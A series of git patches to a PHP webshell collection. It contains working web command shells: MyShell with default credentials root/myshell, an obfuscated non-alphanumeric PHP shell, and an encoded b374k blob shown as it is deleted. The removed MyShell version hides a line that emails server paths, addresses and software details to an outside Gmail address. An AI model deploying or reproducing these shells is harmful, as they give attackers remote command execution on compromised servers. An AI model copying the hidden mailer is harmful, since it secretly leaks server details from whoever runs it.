From bb11787159a5011b697481bbedce162c122715d6 Mon Sep 17 00:00:00 2001 From: Richard Mahoney Date: Wed, 3 Sep 2014 13:31:36 +0100 Subject: [PATCH 01/15] Update README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index aa54ae8..ccbffb2 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,6 @@ php-webshells ============= -Common php webshells. Do not host the file(s) in your server! +Common PHP shells. Do not put these on a publically-accessible webserver. + +These are provided for education purposes only. From b78bbf444c3e53ee685f2d8ba5eaa3e1b25ceee9 Mon Sep 17 00:00:00 2001 From: Richard Mahoney Date: Wed, 3 Sep 2014 13:33:02 +0100 Subject: [PATCH 02/15] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ccbffb2..dbe75fc 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ php-webshells ============= -Common PHP shells. Do not put these on a publically-accessible webserver. +Common PHP shells. Do not put these on a publicly-accessible webserver. These are provided for education purposes only. From 350dc3d60c584d8b4b777e08a37249fb87e733a4 Mon Sep 17 00:00:00 2001 From: John Troony Date: Sun, 7 Sep 2014 02:42:06 +0300 Subject: [PATCH 03/15] Update README.md Contributions...? --- README.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/README.md b/README.md index 88adf89..68b6426 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,10 @@ +Contributing +============ +To contribute other shells not listed here... Fork, Push the changes to your repo, then before you request for a Pull, make sure to include a simple description of your **php** web-shell and include a screen-shot of the web-shell (in your as hosted in your localhost). + + + + php-webshells ============= From d5a9fc346f463ad4208cb91a5e3769509e9ff0b9 Mon Sep 17 00:00:00 2001 From: John Troony Date: Sun, 7 Sep 2014 02:43:22 +0300 Subject: [PATCH 04/15] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 68b6426..49f9385 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ Contributing ============ -To contribute other shells not listed here... Fork, Push the changes to your repo, then before you request for a Pull, make sure to include a simple description of your **php** web-shell and include a screen-shot of the web-shell (in your as hosted in your localhost). +To contribute other shells not listed here... Fork, Push the changes to your repo, then before you request for a Pull, make sure to include a simple description of your **php** web-shell and include a screen-shot of the web-shell (as hosted in your localhost). From 28c65623ed5105a72d242c552bb29d75caf1715f Mon Sep 17 00:00:00 2001 From: Spacecow99 Date: Sat, 15 Nov 2014 12:57:19 -0500 Subject: [PATCH 05/15] I never actually touched these file so strange but whatever. Myshell.php -420 lines blaze it! --- myshell.php | 724 ++++++++++++++++++------------------------ php-reverse-shell.php | 0 2 files changed, 304 insertions(+), 420 deletions(-) mode change 100755 => 100644 php-reverse-shell.php diff --git a/myshell.php b/myshell.php index 5561266..eb80073 100644 --- a/myshell.php +++ b/myshell.php @@ -1,420 +1,304 @@ - - based on the original program phpShell by Martin Geisler - - This program is free software; you can redistribute it and/or - modify it under the terms of the GNU General Public License - as published by the Free Software Foundation; either version 2 - of the License, or (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You can get a copy of the GNU General Public License from this - address: http://www.gnu.org/copyleft/gpl.html#SEC1 - You can also write to the Free Software Foundation, Inc., 59 Temple - Place - Suite 330, Boston, MA 02111-1307, USA. -*/ - -#$selfSecure enables built-in authenticate feature. This must be 0 in order to -#use .htaccess file or other alternative method to control access to MyShell. -#Set up your user and password using $shellUser and $shellPswd. -#DO NOT TURN THIS OFF UNLESS YOU HAVE AN ALTERNATE METHOD TO PROTECT -#ACCESS TO THE SCRIPT. - -$selfSecure = 0; -$shellUser = ""; -$shellPswd = ""; - -#$adminEmail is the email address to send warning notifications in case -#someone tries to access the script and fails to provide correct user and -#password. This only works if you have $selfSecure enabeled. - -$adminEmail = "******@mail.ru"; - -#$fromEmail is the email address warning messages are sended from. -#This defaults to the server admin, but you can change -#to any address you want i.e.: noreplay@yourdomain.com -#This only works if you have $selfSecure enabeled. - -$fromEmail = $HTTP_SERVER_VARS["SERVER_ADMIN"]; - -#$dirLimit is the top directory allowed to change when using cd command -#or the form selector. Any attempt to change to a directory up to this -#level bounces MyShell to this directory. i.e.: $dirLimit = "/home"; -#It is a good practice to set it to $DOCUMENT_ROOT using: -#$dirLimit = $DOCUMENT_ROOT; -#If you want to have access to all server directories leave it blank. -#WARNING: Althought a user won't be able to snoop on directories above -#this level using MyShell, he/she will still be able to excecute -#commands on any directory where Webserver has permission, -#i.e.: mkdir /tmp/mydir or cat /home/otheruser/.htaccess. - -$dirLimit = ""; - -#$autoErrorTrap Enable automatic error traping if command returns error. -#Bear in mind that MyShell executes the command a second time in order to -#trap the stderr. This shouldn't be a problem in most cases. -#If you turn it off, you'll have to select either to trap stderr or not for -#every command you excecute. - -$autoErrorTrap = 1; - -#$voidCommands is the list of commands that MyShell won't run by any means. -#It defaults to known problematic commands from a web interface like pico, -#top, xterm but also it can include specific commands you don't want to -#be excecuted from MyShell, i.e.: dig, ping, info, kill etc. - -$voidCommands = array("top","xterm","su","vi","pico","netscape"); - -#$TexEd Built-in Text Editor prefered name. This is the command you'll use -#to invoke MyShell's built in text editor. -# If you are used to type pico or vi for your fav text editor, -#change this to your please. i.e.: -# $TexEd = "pico"; -#will allow you to type 'pico config.php' to edit the file config.php -#MyShell's text editor do not support usual commands in pico, vi etc. -#Don't forget to take off this command from the $voidCommands list -$TexEd = "edit"; - -#$editWrap selects to use or not wrap in the editor's textarea. Wrap OFF -#is usefull when you have to edit files with long lines, i.e.: in php code -#files, because otherwise it is no easy to distinguish a real new line (CR) -#from a wraped one. If you prefer to stick to the default wraped mode of -#TEXTAREA just leave this blank i.e.: $editWrap="". -$editWrap ="wrap='OFF'"; - -#Cosmetic defaults. - -$termCols = 80; //Default width of the output text area -$termRows = 20; //Default heght of the output text area -$bgColor = "#000000"; //background color -$bgInputColor = "#333333"; //color of the input field -$outColor = "#00BB00"; //color of the text output from the server -$textColor = "#009900"; //color of the hard texts of the terminal -$linkColor = "#00FF00"; //color of the links - -/************** No customize needed from this point *************/ - -$MyShellVersion = "MyShell 1.1.0 build 20010923"; -if ($command&&get_magic_quotes_gpc())$command=stripslashes($command); -if($selfSecure){ - if (($PHP_AUTH_USER!=$shellUser)||($PHP_AUTH_PW!=$shellPswd)) { - Header('WWW-Authenticate: Basic realm="MyShell"'); - Header('HTTP/1.0 401 Unauthorized'); - echo " - - $MyShellVersion - Access Denied - -

Access denied

- A warning message have been sended to the administrator -
- $MyShellVersion"; - if(isset($PHP_AUTH_USER)){ - $warnMsg =" - This is $MyShellVersion - installed on: http://".$HTTP_SERVER_VARS["HTTP_HOST"]."$PHP_SELF - just to let you know that somebody tryed to access - the script using wrong username or password: - - Date: ".date("Y-m-d H:i:s")." - IP: ".$HTTP_SERVER_VARS["REMOTE_ADDR"]." - User Agent: ".$HTTP_SERVER_VARS["HTTP_USER_AGENT"]." - username used: $PHP_AUTH_USER - password used: $PHP_AUTH_PW - - If this is not the first time it happens, - please consider either to remove MyShell - from your system or change it's name or - directory location on your server. - - Regards - The MyShell dev team - "; - mail($adminEmail,"MyShell Warning - Unauthorized Access",$warnMsg, - "From: $fromEmail\nX-Mailer:$MyShellVersion AutoWarn System"); - } - exit; - } -} -//Function that validate directories -function validate_dir($dir){ - GLOBAL $dirLimit; - if($dirLimit){ - $cdPos = strpos($dir,$dirLimit); - if ((string)$cdPos == "") { - $dir = $dirLimit; - $GLOBALS["shellOutput"] = "You are not allowed change to directories above $dirLimit\n"; - } - } - return $dir; -} - -// Set working directory. -if (isset($work_dir)) { - //A workdir has been asked for - we chdir to that dir. - $work_dir = validate_dir($work_dir); - @chdir($work_dir) or - ($shellOutput = "MyShell: can't change directory. Permission denied\nSwitching back to $DOCUMENT_ROOT\n"); - $work_dir = exec("pwd"); -} -else{ - // No work_dir - we chdir to $DOCUMENT_ROOT - $work_dir = validate_dir($DOCUMENT_ROOT); - chdir($work_dir); - $work_dir = exec("pwd"); -} - -//Now we handle files if we are in Edit Mode -if($editMode && ($command||$editCancel))$editMode=false; -if($editMode){ - if($editSave ||$editSaveExit){ - if(function_exists(ini_set))ini_set("track_errors","1"); - if($fp=@fopen($file,"w")){ - if(get_magic_quotes_gpc())$shellOut=stripslashes($shellOut); - fputs($fp,$shellOut); - fclose($fp); - $command = $TexEd." ".$file; - if($editSaveExit) { - $command=""; - $shellOutput="MyShell: $file: saved"; - $editMode=false; - } - } - else { - $command=""; - $shellOutput="MyShell: Error while saving $file:\n$php_errormsg\nUse back button to recover your changes."; - $errorSave=true; - } - } -} - -//Separate command(s) and arguments to analize first command -$input=explode(" ",$command); - -while (list ($key, $val) = each ($voidCommands)) { - if($input[0]==$val){ - $voidCmd = $input[0]; - $input[0]="void"; - } -}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); -switch($input[0]){ - case "cd": - $path=$input[1]; - if ($path==".."){ - $work_dir=strrev(substr(strstr(strrev($work_dir), "/"), 1)); - if ($work_dir == "") $work_dir = "/"; - } - elseif (substr($path,0,1)=="/")$work_dir=$path; - else $work_dir=$work_dir."/".$path; - $work_dir = validate_dir($work_dir); - @chdir($work_dir) or ($shellOutput = "MyShell: can't change directory.\n$work_dir: does not exist or permission denied"); - $work_dir = exec("pwd"); - $commandBk = $command; - $command = ""; - break; - case "man": - exec($command,$man); - if($man){ - $codes = ".".chr(8); - $manual = implode("\n",$man); - $shellOutput = ereg_replace($codes,"",$manual); - $commandBk = $command; - $command = ""; - } - else $stderr=1; - break; - case "cat": - exec($command,$cat); - if($cat){ - $text = implode("\n",$cat); - $shellOutput = htmlspecialchars($text); - $commandBk = $command; - $command = ""; - } - else $stderr=1; - break; - case "more": - exec($command,$cat); - if($cat){ - $text = implode("\n",$cat); - $shellOutput = htmlspecialchars($text); - $commandBk = $command; - $command = ""; - } - else $stderr=1; - break; - case $TexEd: - if(file_exists($input[1])){ - exec("cat ".$input[1],$cat); - $text = implode("\n",$cat); - $shellOutput = htmlspecialchars($text); - $fileOwner = posix_getpwuid(fileowner($input[1])); - $filePerms = sprintf("%o", (fileperms($input[1])) & 0777); - $fileEditInfo = "  :::::::  Owner: ".$fileOwner["name"]." Permissions: $filePerms"; - } - else $fileEditInfo = "  :::::::  NEW FILE"; - $currFile = $input[1]; - $editMode = true; - $command = ""; - break; - case "void": - $shellOutput = "MyShell: $voidCmd: void command for MyShell"; - $commandBk = $command; - $command = ""; -} - -//Now we prepare the webpage -if(!$oCols)$oCols=$termCols; -if(!$oRows)$oRows=$termRows; -if($editMode)$focus="shellOut.focus()"; -else $focus="command.select()"; -//WhoamI -if(!$whoami)$whoami=exec("whoami"); -?> - - -<?echo $MyShellVersion?> - - -> -
-Current User: -> -  :::::::   -MyShell file editor File:$work_dir/$currFile $fileEditInfo\n"; -} -else{ - echo "Current working directory: \n"; - $work_dir_splitted = explode("/", substr($work_dir, 1)); - echo "Root/"; - if ($work_dir_splitted[0] == "") { - $work_dir = "/"; /* Root directory. */ - } - else{ - for ($i = 0; $i < count($work_dir_splitted); $i++) { - $url .= "/".$work_dir_splitted[$i]; - echo "$work_dir_splitted[$i]/"; - } - } -} -?> -
- -
-    -     -     -     - -
"; -?> -
-Command: - > -       -stderr-traping "; - -if($editMode){ - echo " -
Save file as: "; -} -else{ - echo "
Working directory: "; -} -?> -  |  >Echo commands -  |  Cols:> - Rows:> - | :::::::::: MyShell ©2001 Digitart Producciones -
- - + + based on the original program phpShell by Martin Geisler + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You can get a copy of the GNU General Public License from this + address: http://www.gnu.org/copyleft/gpl.html#SEC1 + You can also write to the Free Software Foundation, Inc., 59 Temple + Place - Suite 330, Boston, MA 02111-1307, USA. +*/ + + +#$selfSecure Enable auto authenticate feature. This must be 0 in order to +#use .htaccess file to control access to MyShell, otherwise let it as 1 +#and set up your user and password using $shellUser and $shellPswd. +#DO NOT TURN THIS OFF UNLESS YOU HAVE AN ALTERNATE METHOD TO PROTECT +#ACCESS TO THE SCRIPT. + +$selfSecure = 1; +$shellUser = "root"; +$shellPswd = "myshell"; + +#$adminEmail is the email address to send warning notifications in case +#someone tries to access the script and fails to provide correct user and +#password. This only works if you have $selfSecure enabeled. + +$adminEmail = "youremail@yourserver.com"; + +#$fromEmail is the email address warning messages are sended from. +#This is set for default to the server admin, but you can change +#to any address you want i.e.: noreplay@yourdomain.com +#This only works if you have $selfSecure enabeled. + +$fromEmail = $HTTP_SERVER_VARS["SERVER_ADMIN"]; + +#$dirLimit is the top directory allowed to change to using cd command +#or the form selector. Any attempt to change to a directory up this +#level bounces MyShell to this directory. i.e.: $dirLimit = "/home"; +#It is a good practice to set it to $DOCUMENT_ROOT using: +#$dirLimit = $DOCUMENT_ROOT; +#If you want to have access to all server directories leave it blank. +#WARNING: Althought a user won't be able to snoop on directories above +#this level using MyShell, he/she will still be able to excecute +#commands on any directory where Webserver has permisson, +#i.e.: mkdir /tmp/mydir or cat /home/otheruser/.htaccess. + +$dirLimit = ""; + +#$autoErrorTrap Enable automatic error traping if command returns error. +#Bear in mind that MyShell executes the command again in order to +#trap the stderr. This shouldn't be a problem in most cases. +#If you turn it off, you'll have to select to trap stderr or not for +#every command you excecute. + +$autoErrorTrap = 1; + +#Cosmetic defaults. + +$termCols = 80; //Default width of the output text area +$termRows = 20; //Default heght of the output text area +$bgColor = "#000000"; //background color +$bgInputColor = "#333333"; //color of the input field +$outColor = "#00BB00"; //color of the text output from the server +$textColor = "#009900"; //color of the hard texts of the terminal +$linkColor = "#00FF00"; //color of the links + +/************** No customize needed from this point *************/ + +$MyShellVersion = "MyShell 1.0.5 build 20010910"; +if($selfSecure){ + if (($PHP_AUTH_USER!=$shellUser)||($PHP_AUTH_PW!=$shellPswd)) { + Header('WWW-Authenticate: Basic realm="MyShell"'); + Header('HTTP/1.0 401 Unauthorized'); + echo " + + MyShell error - Access Denied + +

Access denied

+ A warning message have been sended to the administrator +
+ $MyShellVersion"; + if(isset($PHP_AUTH_USER)){ + $warnMsg =" + This is $MyShellVersion + installed on: http://".$HTTP_SERVER_VARS["HTTP_HOST"]."$PHP_SELF + just to let you know that somebody tryed to access + the script using wrong username or password: + + Date: ".date("Y-m-d H:i:s")." + IP: ".$HTTP_SERVER_VARS["REMOTE_ADDR"]." + User Agent: ".$HTTP_SERVER_VARS["HTTP_USER_AGENT"]." + username used: $PHP_AUTH_USER + password used: $PHP_AUTH_PW + + If this is not the first time it happens, + please consider either to remove MyShell + from your system or change it's name or + directory location on your server. + + Regards + The MyShell dev team + "; + mail($adminEmail,"MyShell Warning - Unauthorized Access",$warnMsg, + "From: $fromEmail\nX-Mailer:$MyShellVersion AutoWarn System"); + } + exit; + } +} + +if(!$oCols)$oCols=$termCols; +if(!$oRows)$oRows=$termRows; +?> + + +MyShell + + + TEXT= LINK= VLINK= onload=document.shell.command.select()> + + +
+Current working directory: +Root/"; +if ($work_dir_splitted[0] == "") { + $work_dir = "/"; /* Root directory. */ +} +else{ + for ($i = 0; $i < count($work_dir_splitted); $i++) { + /* echo "i = $i";*/ + $url .= "/".$work_dir_splitted[$i]; + echo "$work_dir_splitted[$i]/"; + } +} +?> + +
+ +
+
+Command: + > +       +stderr-traping "; +?> +
Working directory: + +  |  >Echo commands +  |  Cols:> + Rows:> + | :::::::::: MyShell ©2001 Digitart Producciones +
+ + + diff --git a/php-reverse-shell.php b/php-reverse-shell.php old mode 100755 new mode 100644 From 0ae66a41eaed4e98f709d02f27b308d4a44cb926 Mon Sep 17 00:00:00 2001 From: Spacecow99 Date: Sun, 16 Nov 2014 03:13:00 -0500 Subject: [PATCH 06/15] More cleaning --- Ajax_PHP Command Shell.php => OTHER/Ajax_PHP Command Shell.php | 0 Ajax_PHP_Command_Shell.php => OTHER/Ajax_PHP_Command_Shell.php | 0 CmdAsp.asp.php.txt => OTHER/CmdAsp.asp.php.txt | 0 findsock.c => OTHER/Findsock-shell/findsock.c | 0 JspWebshell 1.2.php => OTHER/JspWebshell 1.2.php | 0 JspWebshell_1.2.php => OTHER/JspWebshell_1.2.php | 0 RemExp.asp.php.txt => OTHER/RemExp.asp.php.txt | 0 aspydrv.php => OTHER/aspydrv.php | 0 cgitelnet.php => OTHER/cgitelnet.php | 0 go-shell.php => OTHER/go-shell.php | 0 indexer.asp.php.txt => OTHER/indexer.asp.php.txt | 0 klasvayv.asp.php.txt => OTHER/klasvayv.asp.php.txt | 0 php-findsock-shell.php => OTHER/php-findsock-shell.php | 0 reader.asp.php.txt => OTHER/reader.asp.php.txt | 0 robots.php => OTHER/robots.php | 0 toolaspshell.php => OTHER/toolaspshell.php | 0 zehir4.asp.php.txt => OTHER/zehir4.asp.php.txt | 0 zehir4.php => OTHER/zehir4.php | 0 18 files changed, 0 insertions(+), 0 deletions(-) rename Ajax_PHP Command Shell.php => OTHER/Ajax_PHP Command Shell.php (100%) rename Ajax_PHP_Command_Shell.php => OTHER/Ajax_PHP_Command_Shell.php (100%) rename CmdAsp.asp.php.txt => OTHER/CmdAsp.asp.php.txt (100%) rename findsock.c => OTHER/Findsock-shell/findsock.c (100%) rename JspWebshell 1.2.php => OTHER/JspWebshell 1.2.php (100%) rename JspWebshell_1.2.php => OTHER/JspWebshell_1.2.php (100%) rename RemExp.asp.php.txt => OTHER/RemExp.asp.php.txt (100%) rename aspydrv.php => OTHER/aspydrv.php (100%) rename cgitelnet.php => OTHER/cgitelnet.php (100%) rename go-shell.php => OTHER/go-shell.php (100%) rename indexer.asp.php.txt => OTHER/indexer.asp.php.txt (100%) rename klasvayv.asp.php.txt => OTHER/klasvayv.asp.php.txt (100%) rename php-findsock-shell.php => OTHER/php-findsock-shell.php (100%) mode change 100755 => 100644 rename reader.asp.php.txt => OTHER/reader.asp.php.txt (100%) rename robots.php => OTHER/robots.php (100%) rename toolaspshell.php => OTHER/toolaspshell.php (100%) rename zehir4.asp.php.txt => OTHER/zehir4.asp.php.txt (100%) rename zehir4.php => OTHER/zehir4.php (100%) diff --git a/Ajax_PHP Command Shell.php b/OTHER/Ajax_PHP Command Shell.php similarity index 100% rename from Ajax_PHP Command Shell.php rename to OTHER/Ajax_PHP Command Shell.php diff --git a/Ajax_PHP_Command_Shell.php b/OTHER/Ajax_PHP_Command_Shell.php similarity index 100% rename from Ajax_PHP_Command_Shell.php rename to OTHER/Ajax_PHP_Command_Shell.php diff --git a/CmdAsp.asp.php.txt b/OTHER/CmdAsp.asp.php.txt similarity index 100% rename from CmdAsp.asp.php.txt rename to OTHER/CmdAsp.asp.php.txt diff --git a/findsock.c b/OTHER/Findsock-shell/findsock.c similarity index 100% rename from findsock.c rename to OTHER/Findsock-shell/findsock.c diff --git a/JspWebshell 1.2.php b/OTHER/JspWebshell 1.2.php similarity index 100% rename from JspWebshell 1.2.php rename to OTHER/JspWebshell 1.2.php diff --git a/JspWebshell_1.2.php b/OTHER/JspWebshell_1.2.php similarity index 100% rename from JspWebshell_1.2.php rename to OTHER/JspWebshell_1.2.php diff --git a/RemExp.asp.php.txt b/OTHER/RemExp.asp.php.txt similarity index 100% rename from RemExp.asp.php.txt rename to OTHER/RemExp.asp.php.txt diff --git a/aspydrv.php b/OTHER/aspydrv.php similarity index 100% rename from aspydrv.php rename to OTHER/aspydrv.php diff --git a/cgitelnet.php b/OTHER/cgitelnet.php similarity index 100% rename from cgitelnet.php rename to OTHER/cgitelnet.php diff --git a/go-shell.php b/OTHER/go-shell.php similarity index 100% rename from go-shell.php rename to OTHER/go-shell.php diff --git a/indexer.asp.php.txt b/OTHER/indexer.asp.php.txt similarity index 100% rename from indexer.asp.php.txt rename to OTHER/indexer.asp.php.txt diff --git a/klasvayv.asp.php.txt b/OTHER/klasvayv.asp.php.txt similarity index 100% rename from klasvayv.asp.php.txt rename to OTHER/klasvayv.asp.php.txt diff --git a/php-findsock-shell.php b/OTHER/php-findsock-shell.php old mode 100755 new mode 100644 similarity index 100% rename from php-findsock-shell.php rename to OTHER/php-findsock-shell.php diff --git a/reader.asp.php.txt b/OTHER/reader.asp.php.txt similarity index 100% rename from reader.asp.php.txt rename to OTHER/reader.asp.php.txt diff --git a/robots.php b/OTHER/robots.php similarity index 100% rename from robots.php rename to OTHER/robots.php diff --git a/toolaspshell.php b/OTHER/toolaspshell.php similarity index 100% rename from toolaspshell.php rename to OTHER/toolaspshell.php diff --git a/zehir4.asp.php.txt b/OTHER/zehir4.asp.php.txt similarity index 100% rename from zehir4.asp.php.txt rename to OTHER/zehir4.asp.php.txt diff --git a/zehir4.php b/OTHER/zehir4.php similarity index 100% rename from zehir4.php rename to OTHER/zehir4.php From 8d63af712be4359acad9ab61f2e12debe91d68e4 Mon Sep 17 00:00:00 2001 From: Clicia Date: Wed, 3 Dec 2014 05:39:00 -0800 Subject: [PATCH 07/15] Add non-alphanumbric shell --- Non-alphanumeric.php | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100755 Non-alphanumeric.php diff --git a/Non-alphanumeric.php b/Non-alphanumeric.php new file mode 100755 index 0000000..25b1d64 --- /dev/null +++ b/Non-alphanumeric.php @@ -0,0 +1,11 @@ +>$_;$_[]=$__;$_[]=@_;@$_[((++$__)+($__++ ))].=$_; +$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; +$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); +$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); +$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; +$_=$ +$_[$__+ $__] ;$_[@-_]($_[@!+_] ); + +?> \ No newline at end of file From f31f3190262715db3002333ee7f4722aa128102c Mon Sep 17 00:00:00 2001 From: Richard Mahoney Date: Sun, 23 Aug 2015 18:36:53 +0100 Subject: [PATCH 08/15] Update README.md --- README.md | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/README.md b/README.md index 3e5171f..a60b3f1 100644 --- a/README.md +++ b/README.md @@ -8,11 +8,10 @@ To contribute other shells not listed here... Fork, Push the changes to your rep php-webshells ============= -<<<<<<< HEAD Common PHP shells. Do not put these on a publicly-accessible webserver. These are provided for education purposes only. -======= + Common php webshells. Do not host the file(s) in your server! ++++++++++++++++++++++++++ @@ -32,6 +31,3 @@ WebHandler.py works for POST and GET requests: - - ->>>>>>> e474a21202962d29bda156e5f384499d3b993645 From 624afd4eccf8e243b3780bca1b78c5c8c0cabf13 Mon Sep 17 00:00:00 2001 From: Richard Mahoney Date: Sun, 23 Aug 2015 18:37:10 +0100 Subject: [PATCH 09/15] Update README.md --- README.md | 3 --- 1 file changed, 3 deletions(-) diff --git a/README.md b/README.md index a60b3f1..f1a90eb 100644 --- a/README.md +++ b/README.md @@ -2,9 +2,6 @@ Contributing ============ To contribute other shells not listed here... Fork, Push the changes to your repo, then before you request for a Pull, make sure to include a simple description of your **php** web-shell and include a screen-shot of the web-shell (as hosted in your localhost). - - - php-webshells ============= From 75519815eb6f9bee636b66e395878268a1f665a3 Mon Sep 17 00:00:00 2001 From: John Troony Date: Fri, 18 Dec 2015 19:59:47 +0000 Subject: [PATCH 10/15] Add b374k module --- .gitmodules | 3 +++ b374k | 1 + 2 files changed, 4 insertions(+) create mode 100644 .gitmodules create mode 160000 b374k diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..fd7c90a --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "b374k"] + path = b374k + url = https://github.com/b374k/b374k diff --git a/b374k b/b374k new file mode 160000 index 0000000..63b33c4 --- /dev/null +++ b/b374k @@ -0,0 +1 @@ +Subproject commit 63b33c4c750f16cb52db5f26098dfba10667600d From 77ee6d0f7e475b703c9b09d5818ab4951efd48dc Mon Sep 17 00:00:00 2001 From: John Troony Date: Fri, 18 Dec 2015 20:01:11 +0000 Subject: [PATCH 11/15] Remove old 'b374k.php.php' file --- b374k.php.php | 266 -------------------------------------------------- 1 file changed, 266 deletions(-) delete mode 100644 b374k.php.php diff --git a/b374k.php.php b/b374k.php.php deleted file mode 100644 index 5679116..0000000 --- a/b374k.php.php +++ /dev/null @@ -1,266 +0,0 @@ -".gzinflate(base64_decode("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 